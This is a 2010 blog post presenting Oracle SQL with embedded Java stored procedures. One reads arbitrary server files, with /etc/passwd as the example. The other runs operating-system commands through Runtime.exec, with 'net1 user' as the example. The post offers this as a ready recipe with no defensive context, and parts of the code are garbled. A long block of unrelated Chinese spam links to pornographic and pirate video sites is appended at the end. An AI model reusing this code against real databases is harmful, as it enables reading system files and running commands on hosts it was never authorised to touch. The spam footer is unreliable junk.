<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    shnulaa

    Never deter till tomorrow that which you can do today
    posts - 15, comments - 0, trackbacks - 0, articles - 2
      BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

    oracle read file context

    Posted on 2010-09-28 15:53 shnulaa 閱讀(211) 評論(0)  編輯  收藏 所屬分類: java
     1--code
     2set serveroutput on
     3Create or REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE"
     4AS
     5import java.lang.*;
     6import java.io.*;
     7public class JAVAREADFILE
     8{
     9public static void readfile(String filename) throws IOException
    10{
    11FileReader f = new FileReader(filename);
    12BufferedReader fr = new BufferedReader(f);
    13String text = fr.readLine();
    14while(text != null)
    15{
    16System.out.println(text);
    17text = fr.readLine();
    18}
    19fr.close();
    20}
    21}
    22/
    23Create or REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2)
    24AS LANGUAGE JAVA
    25NAME 'JAVAREADFILE.readfile(java.lang.String)';
    26/
    27exec dbms_java.set_output(5000);
    28grant javasyspriv to system;
    29grant javauserpriv to system;
    30exec JAVAREADFILEPROC('/etc/passwd')
    31--code
    32

    for windows
     1--code
     2create or replace and compile
     3java souRCe named "util"
     4as
     5import java.io.*;
     6import java.lang.*;
     7public class util extends Object
     8{
     9public static int RunThis(String args)
    10{
    11Runtime rt = Runtime.getRuntime();
    12int RC = -1;
    13try
    14{
    15Process p = rt.exec(args);
    16int bufSize = 4096;
    17BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
    18int len;
    19byte buffer[] = new byte[bufSize];
    20// Echo back what the program spit out
    21while ((len = bis.read(buffer
    220, bufSize)) != -1)
    23System.out.write(buffer, 0len);
    24RC = p.waitFor();
    25}
    26catch (Exception e)
    27{
    28e.printStackTrace();
    29RC = -1;
    30}
    31finally
    32{
    33return RC;
    34}
    35}
    36}
    37/
    38create or replace
    39function RUN_CMz(p_cmd in varchar2return number
    40as
    41language java
    42name 'util.RunThis(java.lang.String) return integer';
    43/
    44create or replace procedure RC(p_cmd in varChar)
    45as
    46number;
    47begin
    48x := RUN_CMz(p_cmd);
    49end;
    50/
    51variable x number;
    52set serveroutput on;
    53exec dbms_java.set_output(100000);
    54grant javasyspriv to system;
    55grant javauserpriv to system;
    56exec :x:=run_cmz('net1 user');
    57--code
    主站蜘蛛池模板: 亚洲国产一成人久久精品| 成人免费一区二区三区| 亚洲欧洲国产精品你懂的| 国产成人免费ā片在线观看| 8888四色奇米在线观看免费看| 人人公开免费超级碰碰碰视频 | 猫咪免费人成在线网站| 亚洲伊人精品综合在合线| 亚洲AV第一页国产精品| 亚洲情综合五月天| 亚洲真人日本在线| 免费一级毛片在线播放不收费| 毛片免费视频在线观看| 我的小后妈韩剧在线看免费高清版| 国产精品免费大片| 日本不卡免费新一区二区三区| 国产日韩AV免费无码一区二区三区| 国产精品亚洲综合| 色天使亚洲综合一区二区| 在线观看亚洲AV日韩AV| 国产成人亚洲合集青青草原精品| 亚洲国产美女视频| 亚洲人成综合在线播放| 亚洲大香人伊一本线| 91在线亚洲精品专区| 亚洲成在人天堂在线| 亚洲AV日韩AV天堂久久| 亚洲视频中文字幕| 久久精品九九亚洲精品| 亚洲最大在线视频| 国产免费一级高清淫曰本片| 国产精品免费久久久久影院| yellow免费网站| 免费看黄的成人APP| 午夜免费啪视频在线观看| 1000部禁片黄的免费看| 中文字幕免费在线看线人| 日本一区二区三区免费高清| 成人免费a级毛片无码网站入口 | 亚洲精品在线免费观看视频| 亚洲精品在线不卡|